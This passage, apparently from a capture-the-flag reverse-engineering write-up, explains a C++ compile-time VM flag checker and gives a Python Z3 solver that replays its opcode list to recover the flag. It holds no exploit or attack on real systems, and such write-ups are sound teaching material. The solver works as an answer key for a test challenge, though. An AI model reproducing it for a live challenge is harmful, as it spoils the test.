operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xecbdbe2</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x60b843c4</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5da67c7</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x171ef1e9</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x52d5b3f7</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3ae718c0</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x8b4aacc2</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xe5cf78dd</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4a848edf</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x8f</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4180000</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xd</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">14</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Ah! Your flag is invalid.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>At first glance it looked complex, but the first half is mostly just processing to allow the 40-character flag string defined by <code class=\"language-text\">[[maybe_unused]] auto flag = \"HTB{___________________________________}\"_flag;</code> to later be extracted one character at a time with <code class=\"language-text\">Flag.at(Insn.op1)</code>, so it can be ignored.</p>\n<p>The particularly important part of this code is the following.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">struct</span> <span class=\"token class-name\">insn_t</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">uint32_t</span> opcode <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">uint32_t</span> op0 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">uint32_t</span> op1 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token class-name\">flag_t</span> Flag<span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> Instructions<span class=\"token operator\">></span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">program_t</span> <span class=\"token punctuation\">{</span>\n    using R <span class=\"token operator\">=</span> std<span class=\"token operator\">::</span>array<span class=\"token operator\">&lt;</span><span class=\"token class-name\">uint32_t</span><span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token operator\">></span><span class=\"token punctuation\">;</span>\n\n    template<span class=\"token operator\">&lt;</span><span class=\"token class-name\">insn_t</span> Insn<span class=\"token operator\">></span>\n    <span class=\"token keyword\">static</span> constexpr <span class=\"token keyword\">void</span> <span class=\"token function\">execute_one</span><span class=\"token punctuation\">(</span>R <span class=\"token operator\">&amp;</span>regs<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> Flag<span class=\"token punctuation\">.</span><span class=\"token function\">at</span><span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n<span class=\"token comment\">/* 省略 */</span>\n    <span class=\"token punctuation\">}</span>\n\n    template<span class=\"token operator\">&lt;</span>std<span class=\"token operator\">::</span><span class=\"token class-name\">size_t</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> Is<span class=\"token operator\">></span>\n    <span class=\"token keyword\">static</span> constexpr <span class=\"token keyword\">void</span> <span class=\"token function\">execute_impl</span><span class=\"token punctuation\">(</span>R <span class=\"token operator\">&amp;</span>regs<span class=\"token punctuation\">,</span> std<span class=\"token operator\">::</span>index_sequence<span class=\"token operator\">&lt;</span>Is<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token punctuation\">(</span>execute_one<span class=\"token operator\">&lt;</span>Instructions<span class=\"token operator\">></span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">static</span> constexpr <span class=\"token keyword\">void</span> <span class=\"token function\">execute</span><span class=\"token punctuation\">(</span>R <span class=\"token operator\">&amp;</span>regs<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">execute_impl</span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">,</span> std<span class=\"token operator\">::</span>make_index_sequence<span class=\"token operator\">&lt;</span><span class=\"token keyword\">sizeof</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span>Instructions<span class=\"token punctuation\">)</span><span class=\"token operator\">></span><span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">static</span> constexpr R registers <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-></span> R <span class=\"token punctuation\">{</span>\n        R arr <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">execute</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span> arr<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>First, insn_t defines the structure of operands and opcodes that will later be passed to the VM.</p>\n<p>In the subsequent program<em>t template, operations are performed repeatedly using three things: the flag string, an empty array regs, and the instructions passed as insn</em>t.</p>\n<p>For example, in the case of <code class=\"language-text\">insn_t(0, 14, 2)</code>, the opcode is 0 and op0 and op1 are 14 and 2 respectively, so the instruction <code class=\"language-text\">regs[14] = Flag.at(2)</code> is executed.</p>\n<p>After executing all these instructions, the flag string that results in the final regs values matching the hardcoded values is the correct flag.</p>\n<p>I ultimately created the following solver and obtained the flag using Z3.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> re\n<span class=\"token keyword\">from</span> z3 <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">rotl</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">,</span> shift<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    n <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>shift <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">32</span>\n    <span class=\"token keyword\">return</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>value <span class=\"token operator\">&lt;&lt;</span> n<span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span>value <span class=\"token operator\">>></span> <span class=\"token punctuation\">(</span><span class=\"token number\">32</span> <span class=\"token operator\">-</span> n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">rotr</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">,</span> shift<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    n <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>shift <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">32</span>\n    <span class=\"token keyword\">return</span> <span class=\"token punctuation\">(</span>value <span class=\"token operator\">>></span> n<span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span>value <span class=\"token operator\">&lt;&lt;</span> <span class=\"token punctuation\">(</span><span class=\"token number\">32</span> <span class=\"token operator\">-</span> n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n\nflag <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>BitVec<span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"flag[</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token punctuation\">}</span></span><span class=\"token string\">]\"</span></span><span class=\"token punctuation\">,</span> <span class=\"token number\">32</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">40</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\ns <span class=\"token operator\">=</span> Solver<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"H\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"T\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"B\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"{\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">40</span><span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"}\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">40</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>And<span class=\"token punctuation\">(</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">>=</span> <span class=\"token number\">0x21</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x7e</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nregs <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>BitVec<span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"regs[</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token punctuation\">}</span></span><span class=\"token string\">]\"</span></span><span class=\"token punctuation\">,</span> <span class=\"token number\">32</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    regs<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n\nacts <span class=\"token operator\">=</span> <span class=\"token string\">\"(12, 13, 10),(21, 0, 0),(0, 13, 13),(0, 14, 0),(15, 11, 12),(24, 14, 0),(5, 0, 14),(0, 14, 1),(7, 11, 11),(24, 14, 8),(5, 0, 14),(0, 14, 2),(2, 10, 11),(24, 14, 16),(18, 12, 11),(5, 0, 14),(0, 14, 3),(0, 11, 11),(24, 14, 24),(13, 10, 10),(5, 0, 14),(2, 11, 13),(21, 1, 0),(0, 14, 4),(24, 14, 0),(5, 1, 14),(6, 11, 12),(0, 14, 5),(8, 10, 10),(24, 14, 8),(11, 12, 11),(5, 1, 14),(0, 14, 6),(0, 12, 10),(24, 14, 16),(9, 10, 13),(5, 1, 14),(0, 14, 7),(13, 12, 12),(24, 14, 24),(15, 10, 12),(5, 1, 14),(21, 2, 0),(20, 13, 13),(0, 14, 8),(24, 14, 0),(19, 10, 11),(5, 2, 14),(6, 12, 10),(0, 14, 9),(8, 11, 11),(24, 14, 8),(5, 2, 14),(0, 14, 10),(4, 11, 12),(24, 14, 16),(5, 2, 14),(0, 14, 11),(24, 14, 24),(4, 13, 12),(5, 2, 14),(21, 3, 0),(14, 10, 12),(0, 14, 12),(13, 10, 11),(24, 14, 0),(16, 10, 10),(5, 3, 14),(5, 11, 12),(0, 14, 13),(12, 10, 13),(24, 14, 8),(2, 10, 13),(5, 3, 14),(20, 11, 11),(0, 14, 14),(24, 14, 16),(18, 13, 11),(5, 3, 14),(6, 11, 13),(0, 14, 15),(24, 14, 24),(4, 11, 10),(5, 3, 14),(21, 4, 0),(15, 13, 11),(0, 14, 16),(6, 10, 10),(24, 14, 0),(14, 10, 12),(5, 4, 14),(0, 14, 17),(12, 13, 13),(24, 14, 8),(19, 11, 10),(5, 4, 14),(0, 14, 18),(17, 13, 12),(24, 14, 16),(5, 4, 14),(0, 14, 19),(24, 14, 24),(21, 12, 10),(5, 4, 14),(13, 13, 10),(21, 5, 0),(0, 14, 20),(19, 10, 13),(24, 14, 0),(5, 5, 14),(0, 14, 21),(24, 14, 8),(8, 13, 13),(5, 5, 14),(0, 14, 22),(16, 13, 11),(24, 14, 16),(10, 10, 13),(5, 5, 14),(7, 10, 12),(0, 14, 23),(19, 13, 10),(24, 14, 24),(5, 5, 14),(17, 12, 10),(21, 6, 0),(16, 11, 10),(0, 14, 24),(24, 14, 0),(10, 11, 10),(5, 6, 14),(0, 14, 25),(24, 14, 8),(7, 10, 12),(5, 6, 14),(0, 14, 26),(16, 12, 11),(24, 14, 16),(3, 11, 10),(5, 6, 14),(15, 11, 13),(0, 14, 27),(4, 12, 13),(24, 14, 24),(5, 6, 14),(14, 11, 13),(21, 7, 0),(0, 14, 28),(21, 13, 11),(24, 14, 0),(7, 12, 11),(5, 7, 14),(17, 11, 10),(0, 14, 29),(24, 14, 8),(5, 7, 14),(0, 14, 30),(12, 10, 10),(24, 14, 16),(5, 7, 14),(0, 14, 31),(20, 10, 10),(24, 14, 24),(5, 7, 14),(21, 8, 0),(18, 10, 12),(0, 14, 32),(9, 11, 11),(24, 14, 0),(21, 12, 11),(5, 8, 14),(0, 14, 33),(24, 14, 8),(19, 10, 13),(5, 8, 14),(8, 12, 13),(0, 14, 34),(24, 14, 16),(5, 8, 14),(8, 10, 10),(0, 14, 35),(24, 14, 24),(21, 13, 10),(5, 8, 14),(0, 12, 10),(21, 9, 0),(0, 14, 36),(24, 14, 0),(5, 9, 14),(17, 11, 11),(0, 14, 37),(14, 10, 13),(24, 14, 8),(5, 9, 14),(4, 10, 11),(0, 14, 38),(13, 11, 13),(24, 14, 16),(5, 9, 14),(0, 14, 39),(10, 11, 10),(24, 14, 24),(20, 13, 13),(5, 9, 14),(6, 12, 11),(21, 14, 0),(8, 0, 2769503260),(10, 0, 997841014),(19, 12, 11),(2, 0, 4065997671),(5, 13, 11),(8, 0, 690011675),(15, 11, 11),(8, 0, 540576667),(2, 0, 1618285201),(8, 0, 1123989331),(8, 0, 1914950564),(8, 0, 4213669998),(21, 13, 11),(8, 0, 1529621790),(10, 0, 865446746),(2, 10, 11),(8, 0, 449019059),(16, 13, 11),(8, 0, 906976959),(6, 10, 10),(8, 0, 892028723),(10, 0, 1040131328),(2, 0, 3854135066),(2, 0, 4133925041),(2, 0, 1738396966),(2, 12, 12),(8, 0, 550277338),(10, 0, 1043160697),(2, 1, 1176768057),(10, 1, 2368952475),(8, 12, 11),(2, 1, 2826144967),(8, 1, 1275301297),(10, 1, 2955899422),(2, 1, 2241699318),(12, 11, 10),(8, 1, 537794314),(11, 13, 10),(8, 1, 473021534),(17, 12, 13),(8, 1, 2381227371),(10, 1, 3973380876),(10, 1, 1728990628),(6, 11, 13),(8, 1, 2974252696),(0, 11, 11),(8, 1, 1912236055),(2, 1, 3620744853),(3, 10, 13),(2, 1, 2628426447),(11, 13, 12),(10, 1, 486914414),(16, 11, 12),(10, 1, 1187047173),(14, 12, 11),(2, 2, 3103274804),(13, 10, 10),(8, 2, 3320200805),(8, 2, 3846589389),(1, 13, 13),(2, 2, 2724573159),(10, 2, 1483327425),(2, 2, 1957985324),(14, 13, 12),(10, 2, 1467602691),(8, 2, 3142557962),(2, 13, 12),(2, 2, 2525769395),(8, 2, 3681119483),(8, 12, 11),(10, 2, 1041439413),(10, 2, 1042206298),(2, 2, 527001246),(20, 10, 13),(10, 2, 855860613),(8, 10, 10),(8, 2, 1865979270),(1, 13, 10),(8, 2, 2752636085),(2, 2, 1389650363),(10, 2, 2721642985),(18, 10, 11),(8, 2, 3276518041),(15, 10, 10),(2, 2, 1965130376),(2, 3, 3557111558),(2, 3, 3031574352),(16, 12, 10),(10, 3, 4226755821),(8, 3, 2624879637),(8, 3, 1381275708),(2, 3, 3310620882),(2, 3, 2475591380),(8, 3, 405408383),(2, 3, 2291319543),(0, 12, 12),(8, 3, 4144538489),(2, 3, 3878256896),(6, 11, 10),(10, 3, 2243529248),(10, 3, 561931268),(11, 11, 12),(10, 3, 3076955709),(18, 12, 13),(8, 3, 2019584073),(10, 13, 12),(8, 3, 1712479912),(18, 11, 11),(2, 3, 2804447380),(17, 10, 10),(10, 3, 2957126100),(18, 13, 13),(8, 3, 1368187437),(17, 10, 12),(8, 3, 3586129298),(10, 4, 1229526732),(19, 11, 11),(10, 4, 2759768797),(1, 10, 13),(2, 4, 2112449396),(10, 4, 1212917601),(2, 4, 1524771736),(8, 4, 3146530277),(2, 4, 2997906889),(16, 12, 10),(8, 4, 4135691751),(8, 4, 1960868242),(6, 12, 12),(10, 4, 2775657353),(16, 10, 13),(8, 4, 1451259226),(8, 4, 607382171),(13, 13, 13),(10, 4, 357643050),(2, 4, 2020402776),(8, 5, 2408165152),(13, 12, 10),(2, 5, 806913563),(10, 5, 772591592),(20, 13, 11),(2, 5, 2211018781),(10, 5, 2523354879),(8, 5, 2549720391),(2, 5, 3908178996),(2, 5, 1299171929),(8, 5, 512513885),(10, 5, 2617924552),(1, 12, 13),(8, 5, 390960442),(12, 11, 13),(8, 5, 1248271133),(8, 5, 2114382155),(1, 10, 13),(10, 5, 2078863299),(20, 12, 12),(8, 5, 2857504053),(10, 5, 4271947727),(2, 6, 2238126367),(2, 6, 1544827193),(8, 6, 4094800187),(2, 6, 3461906189),(10, 6, 1812592759),(2, 6, 1506702473),(8, 6, 536175198),(2, 6, 1303821297),(8, 6, 715409343),(2, 6, 4094566992),(14, 10, 11),(2, 6, 1890141105),(0, 13, 13),(2, 6, 3143319360),(10, 7, 696930856),(2, 7, 926450200),(8, 7, 352056373),(20, 13, 11),(10, 7, 3857703071),(8, 7, 3212660135),(5, 12, 10),(10, 7, 3854876250),(21, 12, 11),(8, 7, 3648688720),(2, 7, 2732629817),(4, 10, 12),(10, 7, 2285138643),(18, 10, 13),(2, 7, 2255852466),(2, 7, 2537336944),(3, 10, 13),(2, 7, 4257606405),(10, 8, 3703184638),(7, 11, 10),(10, 8, 2165056562),(8, 8, 2217220568),(19, 10, 12),(8, 8, 2088084496),(15, 13, 10),(8, 8, 443074220),(16, 13, 12),(10, 8, 1298336973),(2, 13, 11),(8, 8, 822378456),(19, 11, 12),(8, 8, 2154711985),(0, 11, 12),(10, 8, 430757325),(2, 12, 10),(2, 8, 2521672196),(10, 9, 532704100),(10, 9, 2519542932),(2, 9, 2451309277),(2, 9, 3957445476),(5, 10, 10),(8, 9, 2583554449),(10, 9, 1149665327),(12, 13, 12),(8, 9, 3053959226),(0, 10, 10),(8, 9, 3693780276),(15, 11, 10),(2, 9, 609918789),(2, 9, 2778221635),(16, 13, 10),(8, 9, 3133754553),(8, 11, 13),(8, 9, 3961507338),(2, 9, 1829237263),(16, 11, 13),(2, 9, 2472519933),(6, 12, 12),(8, 9, 4061630846),(10, 9, 1181684786),(13, 10, 11),(10, 9, 390349075),(8, 9, 2883917626),(10, 9, 3733394420),(10, 12, 12),(2, 9, 3895283827),(20, 10, 11),(2, 9, 2257053750),(10, 9, 2770821931),(18, 10, 13),(2, 9, 477834410),(19, 13, 12),(3, 0, 1),(12, 12, 12),(3, 1, 2),(11, 13, 11),(3, 2, 3),(3, 3, 4),(3, 4, 5),(1, 13, 13),(3, 5, 6),(7, 11, 11),(3, 6, 7),(4, 10, 12),(3, 7, 8),(18, 12, 12),(3, 8, 9),(21, 12, 10),(3, 9, 10)\"</span>\npattern <span class=\"token operator\">=</span> <span class=\"token string\">r\"(\\d{1,30}, \\d{1,30}, \\d{1,30})\"</span>\nacts <span class=\"token operator\">=</span> re<span class=\"token punctuation\">.</span>findall<span class=\"token punctuation\">(</span>pattern<span class=\"token punctuation\">,</span>acts<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> a <span class=\"token keyword\">in</span> acts<span class=\"token punctuation\">:</span>\n    a <span class=\"token operator\">=</span> a<span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\", \"</span><span class=\"token punctuation\">)</span>\n    opcode <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n    op0 <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n    op1 <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n\n    <span class=\"token keyword\">if</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> flag<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> op1\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">2</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span><span class=\"token operator\">=</span> op1\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">3</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span><span class=\"token operator\">=</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">4</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">|</span><span class=\"token operator\">=</span> op1\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">5</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">|</span><span class=\"token operator\">=</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">6</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token 